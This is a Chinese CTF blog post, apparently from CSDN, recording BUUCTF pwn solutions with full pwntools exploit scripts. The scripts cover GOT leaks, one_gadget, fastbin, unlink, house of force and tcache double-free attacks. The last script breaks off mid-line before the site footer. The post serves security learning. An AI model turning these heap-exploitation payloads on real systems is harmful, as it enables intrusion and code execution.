BUUCTF【pwn】解题记录(4-6页持续更新中)


继续水题之旅…

oneshot_tjctf_2016

就是泄露got表之后,搞一个onegadget

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29723
    conn = remote(HOST ,PORT)
    pause()

    pos = 0x600AD8
    conn.recvuntil("Read location?")
    conn.sendline(str(pos))
    conn.recvuntil("Value: ")
    puts_leak = conn.recvuntil("\n",drop=True)
    puts_leak = int(puts_leak,16)
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    onegadget = libc_base + 0xf1147
    conn.recvuntil("Jump location?")
    conn.sendline(str(onegadget))

    #pause()
    conn.interactive()

wustctf2020_easyfast

最最简单额fastbin attack,连hook都不用了,直接在功能4中有system函数,只需要修改一个qword_602090变成零。
在这里插入图片描述

通过观察这个全局变量上面有个0x50,正好可以作为fastbin attack检查得size
在这里插入图片描述

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create(size):
    conn.recvuntil("choice>")
    conn.sendline("1")
    conn.recvuntil("size>")
    conn.sendline(str(size))

def delete(index):
    conn.recvuntil("choice>")
    conn.sendline("2")
    conn.recvuntil("index>")
    conn.sendline(str(index))

def edit(index,content):
    conn.recvuntil("choice>")
    conn.sendline("3")
    conn.recvuntil("index>")
    conn.sendline(str(index))
    content = content.ljust(8,"\x00")
    conn.send(content)

def getshell():
    conn.recvuntil("choice>")
    conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27315
    conn = remote(HOST ,PORT)
    pause()

    key_pos = 0x602080
    create(0x40)
    delete(0)
    edit(0,p64(key_pos))
    create(0x40)
    create(0x40)
    edit(2,p64(0))
    getshell()

    conn.interactive()

护网杯_2018_gettingstart

这个题目本质上是考察了IEEE 754标准的double型存储格式,但是呢我们可以偷懒…自己编译一个c文件,然后调试一下copy出来就行了…其实这个玩儿法很多,还见过float shell,那个就很酸爽了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29307
    conn = remote(HOST ,PORT)
    pause()
    
    payload = "A"*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
    conn.sendline(payload)

    #pause()
    conn.interactive()

zctf2016_note2(不同类型比较导致无限堆,好题!!!)

这个题目是一个非常好的题目!整个过程中分析了题目好多遍,都没有找到传统的泄露或者是溢出漏洞,最后看wp发现,涉及到一个无限堆的概念,我们先看一下真正漏洞的位置如图
在这里插入图片描述

首先我们看到,申请堆比较类型是unsigned int,这保证了申请堆大小不超过0x80,其中函数input_int调用了下面出现的input函数,真正的问题就在这个input函数里面
在这里插入图片描述

当我们申请堆块大小为0的时候,系统会申请一个0x20大小的堆
在这里插入图片描述
然后在输入的时候无限制输入,这就是堆溢出的溢出点!然后可以看到free函数会清空table,并且计数器不会减少,我们最多就申请4哥堆

而且还需要注意,edit函数是通过strncat和strcpy函数复制内容的,在编辑的时候需要注意截断问题。具体思路就是用unlink进行攻击,构造fake chunk即可,具体看代码很明显的

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create(size,content):
    conn.recvuntil("option--->>")
    conn.sendline("1")
    conn.recvuntil("Input the length of the note content:(less than 128)")
    conn.sendline(str(size))
    conn.recvuntil("Input the note content:")
    conn.sendline(content)

def show(index):
    conn.recvuntil("option--->>")
    conn.sendline("2")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))

def edit(index,mode,content):
    conn.recvuntil("option--->>")
    conn.sendline("3")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))
    conn.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
    conn.sendline(str(mode))
    conn.recvuntil("TheNewContents:")
    conn.sendline(content)

def delete(index):
    conn.recvuntil("option--->>")
    conn.sendline("4")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27680
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so','./note2'], env = {'LD_PRELOAD' : '/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'})
    #conn = process("./note2")
    #pwnlib.gdb.attach(conn,"b *0x0400BE8\nb *0x400CB3") #0x400F70
    #pwnlib.gdb.attach(conn,"b *0x400F70")
    pause()

    heap_list = 0x602120
    name = "Assassin"
    address = "Assasin's home"
    puts_got = 0x602028

    conn.recvuntil("Input your name:")
    conn.sendline(name)
    conn.recvuntil("Input your address:")
    conn.sendline(address)

    create(0x10,"0")        #0 , 为后面申请malloc(0)预留空间
    create(0x80,"1")        #1 , unlink 用于free的堆
    create(0x80,"2")        #2 , 构造fake chunk的位置
    delete(0)
    #下面需要注意unlink攻击向下合并的限制要求
    payload = ""
    payload += p64(0)*2
    payload += (p64(0) + p64(0xa1) + p64(0)*18)     #chunk1
    payload += (p64(0) + p64(0x31) + p64(heap_list-0x8) + p64(heap_list) + p64(0)*2)      #chunk2  fake chunk!
    payload += (p64(0x30) + p64(0x20) + p64(0)*2)   #chunk3  
    payload += (p64(0) + p64(0x21) + p64(0)*2)   #chunk4
    ''''''
    create(0,payload)       #3 , malloc(0)
    delete(1)

    payload = "a"*8 + p64(puts_got)
    edit(2,1,payload)
    show(0)
    conn.recvuntil("Content is ")
    puts_leak = conn.recvuntil("\n",drop=True)
    puts_leak = u64(puts_leak.ljust(8,"\x00"))
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The libc base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    onegadget = libc_base + 0xf02a4 # 0x4526a   # 0xf02a4 0xf1147

    payload = "A"*0x18 + p64(__free_hook)   #就是正常的劫持_free_hook然后实现onegadget
    edit(2,1,payload)
    edit(2,1,p64(onegadget))

    #pause()
    conn.interactive()

gyctf_2020_force(house of force)

可以看到题目只有两个功能,一个是add函数,可以malloc各种堆,另一个是puts函数,基本上没有用处。这个题目就不像是传统的堆的题目,需要malloc和free配合达成利用,而且我们注意到两个条件

  • 第一,申请堆的大小没有做限制,一般题目中都会限制输入大小的,但这里没有
  • 第二,有一个明显的堆溢出,不过申请堆多大都能写入0x50的内容,这样我们就可以控制top chunk的size了
  • 第三,我们在篡改top chunk之前申请一个很大的堆,系统会调用mmap函数,申请位置会在libc附近,可以得到libc地址
  • 第四,程序会泄露heap地址,这就为我们的top chunk申请到什么位置(我选择的是_malloc_hook)

这下就很容易了…按照步骤来就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(size,content):
    conn.recvuntil("2:puts")
    conn.sendline("1")
    conn.recvuntil("size")
    conn.sendline(str(size))
    conn.recvuntil("bin addr ")
    leak = conn.recvuntil("\n",drop=True)
    leak = int(leak,16)
    conn.recvuntil("content")
    conn.sendline(content)
    return leak

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28003
    conn = remote(HOST ,PORT)
    pause()
    libc = ELF("libc-2.23-amd64-buuctf.so")
    
    '''第一步:通过申请很大的chunk,使程序调用mmap泄露libc附近地址'''
    leak = add(0x200000,"test")
    libc_base = leak + 0x200ff0
    print "The libc base is",hex(libc_base)
    __malloc_hook = libc_base + libc.symbols['__malloc_hook']  
    __realloc_hook = __malloc_hook - 0x8
    system = libc_base + libc.symbols['system']  
    puts = libc_base + libc.symbols['puts']  
    print "The __malloc_hook is",hex(__malloc_hook)
    print "The system is",hex(system)

    '''第二步:house of force,篡改top chunk的size'''
    payload = "\x00"*0x18 + p64(0xffffffffffffffff)
    heap_leak = add(0x18,payload)

    '''第三步:计算当前chunk到malloc hook位置需要申请一个多大的chunk'''
    distance = __malloc_hook - 0x40 - heap_leak
    add(distance,payload)

    '''第四步:篡改malloc hook'''
    payload = "/bin/sh".ljust(0x10,"\x00") + p64(system) + p64(__malloc_hook-0x10)
    add(0x20,payload)

    conn.recvuntil("2:puts")
    conn.sendline("1")
    conn.recvuntil("size")
    conn.sendline(str(__malloc_hook - 0x10))    #这个输入的位置是存放/bin/sh字符串的位置,因为输入大小没有要求,因此可以将size指向字符串地址

    #pause()
    conn.interactive()

wustctf2020_number_game

这个涉及到计算机补码存储的知识,本质上是因为int型存储的范围是-231-231-1,也就是-2147483648~2147483647
然后肯定是边界的问题,所以直接试一试就知道了
(水题水的也太开心了把…)

ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)

这个题目,很久违地遇见了IO_FILE Exploitation的问题,通过这个题目学习感受到了光知道各种hook可不行,下面详细分析一下这个题目
题目分析
首先分析一下题目的情况,我们需要知道的首要条件,BUUCTF的ubuntu18的环境是2.27-3ubuntu1_amd64,这个版本的libc是存在tcache double free漏洞的
然后看程序功能,需要发现init函数中打开了flag文件,并且将文件指针指向了666
在这里插入图片描述
Sandbox_Loading发现程序通过prctl函数,把syscall函数都禁用了,用工具seccomp-tools一看便知,这就打消了我们getshell的想法…
在这里插入图片描述
allocate函数分为两个模式,第一种是可以申请0x30大小的堆,然后再第一个和第二个块写入%d的数字,也就是四字节;第二种是申请0x20大小的堆,再第一个和第二个块写入2字节。还需要注意一个全局变量bool,只要任意一个模式申请了,就会赋值为1.

然后看delete函数,注意两点:一是free后没有清除堆地址,存在UAF漏洞,二是free的限制条件为bool==True,通过交替申请、释放堆可以造成tcache double free
在这里插入图片描述
show函数,就是打印内容,打印的大小与模式相同。bye_bye函数猛一看就是输入一个字符串,然后打印字符串,之后exit退出。
在这里插入图片描述

解题思路
通过上述的构造条件,我们大致规划一下解题步骤思路:

  • 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
  • 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
  • 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin__fileno(即stdin的文件描述符)位置
  • 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
  • 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
  • 第六步:运行bye_bye函数触发漏洞

过程挺复杂的,而且有很多细节,别着急,我们从过程中慢慢看~首先放一份完整的代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')

def add_note(type,number):
    conn.recvuntil(">")
    conn.sendline("1")
    conn.recvuntil(">")
    conn.sendline(str(type))
    conn.recvuntil("your inode number:")
    conn.sendline(str(number))

def remove_note(type):
    conn.recvuntil(">")
    conn.sendline("2")
    conn.recvuntil(">")
    conn.sendline(str(type))

def show_note(type):
    conn.recvuntil(">")
    conn.sendline("3")
    conn.recvuntil(">")
    conn.sendline(str(type))

def scanf_and_exit():
    conn.recvuntil(">")
    conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29971
    conn = remote(HOST ,PORT)
    pause()
    #libc = ELF("/home/assassin/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
    libc = ELF("/home/assassin/tools/python_packages/LibcSearcher/libc-database/other_libc_DIY/libc-2.27-amd64-buuctf.so")
    _IO_2_1_stdin_ = libc.symbols["_IO_2_1_stdin_"] 

    # 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
    add_note(1,1)
    add_note(2,2)
    add_note(2,3)
    remove_note(1)
    add_note(2,4)
    remove_note(2)
    add_note(1,1)
    remove_note(2)      #0x20 tcache double free
    show_note(2)

    #泄露堆地址的低2位,这里足够我们篡改tcache指向的堆地址了
    conn.recvuntil("your short type inode number :")
    heap_leak = int(conn.recvuntil("\n",drop=True))
    heap_leak = (heap_leak + 0x10000) % 0x10000
    print hex(heap_leak)

    first_head_addr = heap_leak - 0x80
    add_note(2,first_head_addr)
    add_note(2,first_head_addr)
    add_note(2,0x91)          #篡改第一个0x30堆块的size为0x30 + 3*0x20 = 0x90

    # 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
    for x in range(8):
        remove_note(1)
        if x != 7:
            add_note(2,0)

    # 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
    show_note(1)
    conn.recvuntil("your int type inode number :")
    libc_leak = int(conn.recvuntil("\n",drop=True))
    libc_leak = (libc_leak + 0x100000000) % 0x100000000
    print "The libc leak is",hex(libc_leak)

    __malloc_hook = libc.symbols["__malloc_hook"] % 0x100000000
    libc_base = libc_leak - 96 - 0x10 - __malloc_hook
    print "The libc base is",hex(libc_base)
    _IO_2_1_stdin__fileno = (libc_base + _IO_2_1_stdin_ + 0x70) % 0x100000000
    print 
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值